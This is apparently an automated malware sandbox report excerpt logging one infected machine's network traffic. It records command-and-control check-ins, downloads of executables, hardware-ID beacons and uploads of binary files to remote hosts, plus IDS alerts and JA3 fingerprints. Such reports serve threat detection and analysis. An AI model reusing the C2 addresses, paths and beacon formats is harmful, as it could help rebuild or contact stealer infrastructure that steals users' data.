Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005343001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /OuonWYxAVjorkgXdRtho1731126585 HTTP/1.1Host: home.fvteja5sb.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 33 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005360001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 33 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005361001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 10 Nov 2024 18:23:07 GMTIf-None-Match: "6730fa0b-1b5a00"
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGIEHJJJJEBGDAFHJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 2d 2d 0d 0a Data Ascii: ------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="build"mars------IDHDGIEHJJJJEBGDAFHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 33 36 32 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005362031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 33 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005363001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="build"mars------DAEBKKKEHDHDGDGCFBKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="build"mars------KFHJJDHJEGHJKECBGCFH--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvteja5sb.topAccept: /Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------dZ3MBPwfO3MXXyisIC8RqeData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 5a 33 4d 42 50 77 66 4f 33 4d 58 58 79 69 73 49 43 38 52 71 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 62 75 68 6f 63 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c0 62 60 dc 5e 8e 33 88 5c bf 77 d7 ba c9 0a e3 21 90 a2 81 c3 2c 4c ca 2d c3 4c 8c 6d c5 5b 76 76 21 78 0c 1c 06 64 0c e7 d2 7f a2 26 ed 17 60 e1 84 41 6c 06 38 b3 0a 0a e3 6e aa 88 45 eb eb 5c 4a 6c 84 ed 4a 2e f1 65 24 5c eb ed 7a e3 c2 61 24 f0 ef f1 bf 54 07 44 c7 d2 4a cc 29 d5 b0 ce 3b ce 84 fe d4 6a e7 7c fe 4d c2 6a 30 77 ed cd 7e 5f cd b5 1a 95 5b 8e e9 7a 5b b3 10 30 53 d0 fa a7 09 fc 8c f0 5b 4a f2 c4 d0 9c b0 74 2f 32 be f7 4e 79 0c 96 bc 60 d4 57 ed 40 d1 e1 62 46 f4 1b 01 dd 44 de ea 51 93 a7 33 ab a4 63 03 06 ab 98 af aa a0 f8 27 43 fb a4 5b 04 c5 2d ca 9c cf 5b 06 87 c5 6c b1 3e cf 9c f1 7c a8 27 19 82 f2 73 0f a3 10 05 10 18 cb c6 d3 92 02 32 e1 61 b4 be 0e e3 f9 30 f9 12 2a 71 f1 76 32 30 27 b2 2d 59 d0 9b 34 4f f8 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 5a 33 4d 42 50 77 66 4f 33 4d 58 58 79 69 73 49 43 38 52 71 65 2d 2d 0d 0a Data Ascii: --------------------------dZ3MBPwfO3MXXyisIC8RqeContent-Disposition: form-data; name="file"; filename="Cobuhocu.bin"Content-Type: application/octet-streamb`^3\w!,L-Lm[vv!xd&`Al8nE\JlJ.e$\za$TDJ);j\|Mj0w~_[z[0S[Jt/2Ny`W@bFDQ3c'C[-[l>\|'s2a0*qv20'-Y4O--------------------------dZ3MBPwfO3MXXyisIC8Rqe--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvteja5sb.topAccept: /Content-Length: 91506Content-Type: multipart/form-data; boundary=------------------------c5yjLrD4oD6ODk8Qo2gQ3YData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 35 79 6a 4c 72 44 34 6f 44 36 4f 44 6b 38 51 6f 32 67 51 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 69 71 61 78 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 72 a8 b7 98 2f ef ae d0 35 be 81 fc 58 b9 a1 13 d0 f2 b6 d6 d0 ff fb 33 5a c7 5c e4 f3 99 8b f3 d5 71 0b c3 c3 ad da 91 45 67 63 d4 1d b1 02 a4 cf e3 6f fb a5 8e c4 84 a3 8d 27 d7 3c d4 29 13 d8 80 d9 c5 77 3e 9f b6 a2 b1 48 d1 b0 0f cd 2b f6 3c 6b ed 60 c8 e9 e3 da e8 57 1b 0a 81 05 50 5a f4 09 a2 bc 6d 43 7c b7 73 b3 87 8b a1 72 fa 41 04 81 87 a8 d8 69 5e b1 33 13 db aa c6 f5 6c 15 4e 52 3e 88 25 b4 83 5b 79 05 11 b1 f5 42 dd da 68 6e 98 b8 ba 5c 18 3c 33 49 d3 6c 31 d5 f0 c5 0a 9c 72 16 38 1c f1 3a 78 bd 22 db 6a 66 c4 97 57 b4 32 78 8d 99 5c 6b 30 ac 2d ee 15 9d d3 20 84 02 14 8d 85 8f f3 a0 d3 46 d3 61 60 f0 b9 30 d3 f4 f5 fb 75 4a 90 c0 d7 02 54 2e 7d 4d 14 a3 64 f0 da be f9 ea 07 ab fb 07 a9 31 8c fd 84 9e a3 a0 26 b9 4a eb 36 61 fe ab d4 8c b6 29 63 df 35 cb d8 cd 00 b6 b9 a7 89 7b a9 b3 1a 11 15 8c 7d 34 83 5c 86 55 d4 1e d3 24 82 a0 0e 9e 86 a2 80 a2 be a5 8b 94 75 62 44 b4 64 d1 ab 5c 0a 0a 4e a0 72 03 f3 cc a9 93 7b 48 89 69 07 24 9b 6e c1 20 0a 1d 66 fc b4 8d eb 48 0e d3 1c ec a1 35 4d cd fd b7 df af 0a 6a e2 23 1e 49 0f 9a 24 a4 a0 17 0c e5 05 e5 cc bf 91 bc 85 c7 b4 bd d4 3a 7a 5c ee 55 dc c2 f2 fb b5 b6 aa f8 17 26 30 05 c7 e1 40 a6 48 26 5f 8a c5 72 7d 4b 62 45 ae b3 8c 42 75 37 13 93 27 1c d4 22 9d f6 38 a1 f7 9c a9 12 03 76 02 68 6d 9b 23 fa d2 60 42 12 8e 46 fa f1 16 8c a2 14 3e b6 8f 58 24 67 82 31 d3 43 22 2d ec c9 6b e0 e9 f4 64 9f 89 d6 10 ae 6e 1c 8d 6a b9 fc 53 3e 42 b0 89 cd b1 d0 da 0f a0 16 a1 94 9f e2 73 95 4d c2 1f 26 2c 9f f7 53 e5 05 4a fe ec 3c 5c 5f e6 46 14 93 01 e7 e3 1c 87 8b 01 ea b3 ab 27 9f 18 f8 44 9e b8 1a 01 4d ab b5 39 ac 89 b2 51 75 a5 be 16 75 bb 08 6d bc 4c 6c 36 d7 3c 0a 9b 69 ce f1 18 84 7f 51 94 b2 15 8e 84 80 75 cc 9c 83 e0 2d ff 2f 86 92 b6 f3 71 ad 09 97 6e 57 4c 90 0e 2b f9 f5 b6 b4 45 b5 9c 61 51 68 eb fe c3 5a 8f 85 12 73 27 ea ae 87 03 8f 9d 99 5c 58 a1 2f 22 53 03 06 d7 0f 10 58 19 81 dd 5a 0f 1a 31 e5 6a ed 54 54 b4 fa f8 25 fe 92 9c 61 2f 25 25 5b 97 b9 a7 18 ab a0 11 2e c2 67 96 34 5d fb 17 f8 83 a0 1c 1d fb 4f 7f a4 10 18 c3 0c 1d c1 9d c6 fa 9d 53 f3 34 e8 1b a4 15 b2 72 93 bd 9e 55 65 d0 9e 55 d6 4e 1c c0 a5 7d f5 c4 22 98 f3 70 0d ff 2f 68 75 34 19 ba 90 12 47 df e4 ef 2e 0b cb 5d 78 6d 6d 9d 67 a8 1f 2c a9 d3 69 fc e7 3b 93 9e 09 b0 d3 0f dd c4 2e f0 22 c5 db 31 4a 2e 4b c2 7c 51 60 2c 37 35 91 1f a5 95 d8 2f 2d 2c 32 4c 29
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvteja5sb.topAccept: /Content-Length: 25630Content-Type: multipart/form-data; boundary=------------------------EhHvuSHLvN5Aov1iH7WRMlData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 45 68 48 76 75 53 48 4c 76 4e 35 41 6f 76 31 69 48 37 57 52 4d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 65 72 75 79 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c9 34 4f cb cd c6 91 f2 78 40 76 f1 76 93 3e 44 64 c3 3e 55 11 40 a1 b7 61 dc e6 32 10 bb f2 cc f4 3e 06 bd ad 16 22 b2 37 26 18 c7 02 e9 f7 aa 0e e6 73 e2 6a 74 4d aa 3b 95 88 a8 d5 d8 b6 08 74 3b e9 98 b6 1b 3b 10 71 da d5 2d f7 22 0e 76 44 2c 95 ad f3 54 07 3c 19 77 bc 53 3b 9d 72 44 4c 9e fe cd 62 61 3c 68 2e cf c0 03 ba 95 46 46 b6 6c ce 78 e3 54 38 de 7e 68 0e c9 38 e8 d6 54 f3 3b 5b 40 a6 f0 10 28 eb 48 9e cf 3e 9f b5 ba 4d 67 cf c8 c6 07 b2 ef a7 ee db c3 e1 bb cc ca 86 73 f8 90 e1 22 36 4d 4a 82 91 95 dd 62 c0 3d 09 f0 70 8b 50 c1 63 63 d3 48 b4 35 83 0d 17 39 69 be 43 7e 95 e3 57 de c2 31 bd 79 da 00 7c 16 12 8b f7 93 28 01 bd 13 81 d0 d4 d5 ec 0c 48 e0 e8 98 d1 85 10 e9 90 8b 8b c8 c9 66 5a d5 32 0a 43 aa 8b 7d 22 23 25 31 e3 93 22 c2 8a 71 5a c7 e1 89 ae f3 ab d3 d1 b7 50 6b 4f 1c f3 76 94 76 54 d7 a7 35 cc 0c 77 9d d5 24 67 d8 4f 3a 9e 4a 80 34 70 0c 95 ae f0 db 3e b1 6b b9 0b 33 5a 65 78 64 55 82 69 2a 99 f0 d6 1c c9 81 b9 a3 81 45 8f 1f bf 47 aa 8e 65 6f 45 37 be eb 28 9f d5 2f 5b 06 41 b0 52 b5 3c a3 9f 05 59 46 bc 2f 28 f3 a3 a0 32 df 7c 4e 04 36 57 ce ce bc 96 72 5b 52 11 0d 1b 56 86 fe d1 88 a8 d0 32 30 74 e3 b5 ed 95 27 d1 ec 5a de 14 91 1d 38 b8 3c b7 bf e5 58 f2 75 0b 63 68 63 4f 55 79 a7 53 d5 7b d4 ff d6 8d 88 f7 8c 14 42 9e 4c 4b 15 cc 60 9c c2 7f 95 89 a7 9c 74 de 9b 9d 2d 22 ed 3e 54 88 c1 d1 e5 82 75 0d 62 fd 86 c2 f0 a5 91 32 ef 04 1a 37 a9 b7 7e ac 61 b0 86 81 fe 7c 86 a4 ad d4 e2 89 f1 35 df 94 73 24 78 16 95 24 00 a5 e9 d6 ba bd f9 03 85 e5 63 3f 97 6d d8 8a a1 17 4d 37 06 00 1c 13 f6 a7 71 84 fe b4 7b 3c 14 83 41 6f ee b5 e7 83 b7 b9 0f 15 cb e9 3b 41 22 78 3b a3 a4 2b f1 6e f4 19 af 37 30 15 44 38 6d e8 0f 74 da f4 42 62 26 05 95 4c fe 85 96 d7 23 0b b7 91 dd a4 c6 35 bc e3 c9 6b 05 95 08 4d 55 8e 48 8d ff 0e 0b 39 7a c2 1b 6f 90 79 ba d1 e6 26 07 ee 68 d1 20 22 60 ca f3 86 9c 19 3a 44 1f b0 36 f3 63 eb 76 b7 df 61 c8 2f b6 9f 49 1d 7c e0 72 8a a9 d1 20 9a 34 dd a5 8a c1 92 94 19 fe 0b 3e 6e 3b 41 78 ae fd b0 1b 10 48 33 7b 4d db a2 53 18 e8 88 7f 64 9d e1 0c 03 10 30 6c 29 8a 6d 96 82 d9 82 15 7f c1 19 34 a8 06 d4 d0 19 33 72 9a 7f 33 ee 4b 64 21 b6 da ba f7 b8 41 30 63 33 fc 03 14 f4 6e 58 1e a6 cb e2 98 8b 3c 77 bb 32 75 c5 ca c0 66 c0 a7 26 93 a3 20 b5 5b df 42 1a 5e 38 3e 7b 0f cc 37 77 7a 4d bb 85 f7 f4 bd c1 02 b3 f0 37 08 1c da 08 27 98 ea 33 ea d7
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="build"mars------FBAFIIJKJEGIDGDGIIDH--

Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49753 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49762 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49832 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49891 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49950 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49961 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49972 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50005 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50029 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50041 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50040 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50051 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50052 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50054 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50055 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50057 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50060 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50062 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49763

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
